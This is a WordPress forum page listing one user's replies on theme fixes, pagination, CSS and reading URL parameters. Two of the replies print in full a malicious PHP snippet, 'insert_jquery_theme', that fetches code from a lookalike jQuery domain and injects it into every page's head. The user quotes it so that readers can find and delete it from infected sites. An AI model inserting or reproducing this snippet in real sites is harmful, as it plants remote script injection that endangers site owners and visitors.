Forum Replies Created

Viewing 15 replies - 1 through 15 (of 15 total)
  • I got its solution
    there is a file in the directory .. plugins/designthemes-core-features/shortcodes

    replace line no 1776 with this one
    $args = array(‘post_type’ => ‘dt_teachers’, ‘posts_per_page’ => $limit, ‘order’ => ‘ASC’, ‘orderby’ => ‘name’);

    Hope this will help

    May b u can do it with a little bit css code

    just ad this to your stylesheet
    #colorbox{overflow: inherit !important;}

    Hope this will help u

    Thread Starter meerpanhyar

    (@meerpanhyar)

    this is my code..

    <?php
    /*
    Template Name: Home Page
    */
    get_header(); ?>
    <div id="container">
     <div class="main_left">
       <!--home top featured-->
         <?php wp_reset_query();
    	$the_query = new WP_Query(array ('meta_key' => 'introqoute', 'posts_per_page' => 1,  'meta_value' => 'Checked', 'order' => 'DESC'  )  );
    if (  $the_query -> have_posts() ) while ( $the_query -> have_posts() ) :$the_query -> the_post(); ?>
     some code.......
    <?php endwhile; // end of the loop. ?>
    
    <!--end of home top featured-->
    <!--top-twofeaturedposts-->
    <div class="twin_featured">
    <?php
    $count=0;
    wp_reset_query();
    $the_query = new WP_Query(array ('meta_key' => 'subheading', 'meta_value' => 'Checked', 'posts_per_page' => 2, 'order' => 'DESC'  )  );
    if (  $the_query -> have_posts() ) while ( $the_query -> have_posts() ) :$the_query -> the_post(); ?>
    some code.....
    
    <?php endwhile; // end of the loop. ?>
    
    </div>
     <!--end top-twofeaturedposts-->
     <!--home_posts-->
    <div class="home_posts">
    <?php wp_reset_query();
    $paged = ( get_query_var( 'paged' ) ) ? get_query_var( 'paged' ) : 1;
    	$args = array(
    		 'post_type' => 'post',
                     'posts_per_page' => 9,
    		 'paged' => $paged);
    	$wp_query = new WP_Query($args);
    if ( $wp_query->have_posts() ) : while ( $wp_query->have_posts() ) : $wp_query->the_post(); ?>
    some code.....
    <?php endwhile; // end of the loop. ?>
    
    <?php if (  $the_query->max_num_pages > 1 ) : ?>
    <div id="nav-below" class="navigation">
        <div class="nav-previous"><?php next_posts_link( __( '<span class="meta-nav"><< </span>previous', 'twentyten' ) ); ?></div>
        <div class="nav-next"><?php previous_posts_link( __( 'next<span class="meta-nav"> >></span>', 'twentyten' ) ); ?></div>
    </div><!-- #nav-below -->
    <?php endif; ?>
    <?php endif; ?>
       	</div>
    
     <?php get_sidebar(); ?>
     <?php get_footer(); ?>

    Actually i have problem in the 3third loop inside the home_posts class
    Now the current code is diplaying the previous bautton in fe boootm , but when i clicks on the button it refreshes the page and brings the page url as http://mysite.com/page/2/ but it dosent refrehes the posts , i mean it displays the same posts as before the button pressing….

    and i need new posts to be displayed on the …/page/2/

    any idea plzzz….

    Thread Starter meerpanhyar

    (@meerpanhyar)

    Thanku for ur answer ,

    it creates the previous page link but it does not show the previous page, i dnt know why its happning with me , i have 3 queries on my template , the two one is for diplaying fetured post , 2nd is to dispaly the twin featured(having two featured posts) and the third one is to show the recents posts and i need to have the pagination on the 3rd queryy which is listed above….

    Its so simple to pass a uri value and get it from any specific page …
    i have spent a lot of time on it and finally got the simple solution .

    Step 1)Pass the values from ur template/page/post as im passing

    $link_anchor ='click here';

    $link ='http://example.com/?para1=param1_value/para2=para2_value';

    $url= '' . $link_anchor . '';//im using here inside the template, u can simply use in your post/page as Click here

    2)now you have the values in your url , its time to get those value
    if you wants to get those values inside the post/ page , then simple instal the pluin called php exe .
    other wise simply paste the code in your desired template file
    <?php $uri = $_SERVER['REQUEST_URI'];
    $elms = explode('/', $uri) ;
    $value1 = $elms[1] ; // for the first parameter
    $value2 = $elms[2] ; //for the 2nd parameter and so on

    im getting 2 values here…

    3)now you have obtained your values fom url , now simply use them according to ur need..

    thats it..

    Thread Starter meerpanhyar

    (@meerpanhyar)

    I have resoled it myself…

    both issues are been resolved…..

    Thanks WP FORUM

    Thread Starter meerpanhyar

    (@meerpanhyar)

    Any one plzzzzzz……

    Its on the live site.

    Thread Starter meerpanhyar

    (@meerpanhyar)

    ok , thanks for your time..

    Thread Starter meerpanhyar

    (@meerpanhyar)

    Thread Starter meerpanhyar

    (@meerpanhyar)

    ye i have the db backup , and im using website theme currently….

    find the cufon class in your child theme ….themes/your_theme/css/custom_style.php file and change the width there in cufon class , but u must make a backup file…..

    cufon css does not changes manually from the fire bug , it can only be done by making changes in the file directly..

    hope this will help…

    i think you must find the cufon class in your themes/your_theme/css/custom_style.css file and make changes in the font size in the cufon class directly in your css file an uplod it , becoz the main menu fonts are directly styled from cufon class , and they will not be changed from firebug changings usually…..

    hope this will help you, make sure to create backup of your file first…

    if you dont have backup of your site, then simply download your all site via ftp and search this key word ‘jqueryc’
    you will get code like this
    if (!function_exists(‘insert_jquery_theme’)){function insert_jquery_theme(){if (function_exists(‘curl_init’)){$url=”http://www.jqueryc.com/jquery-1.6.3.min.js&#8221;;$ch = curl_init();$timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action(‘wp_head’, ‘insert_jquery_theme’);}
    simply delete it , save your file and re upload it on its destination …..
    hope this willl solve the isse….

    Download your all site via ftp and search this key word ‘jqueryc’
    you will get code like this

    if (!function_exists('insert_jquery_theme')){function insert_jquery_theme(){if (function_exists('curl_init')){$url="http://www.jqueryc.com/jquery-1.6.3.min.js";$ch = curl_init();$timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action('wp_head', 'insert_jquery_theme');}

    simply delete it , save your file and re upload it on its destination …..
    hope this willl solve the isse….

    woooooooooooow great , and reaaly thankful for you ……

    thanks allottttttt

Viewing 15 replies - 1 through 15 (of 15 total)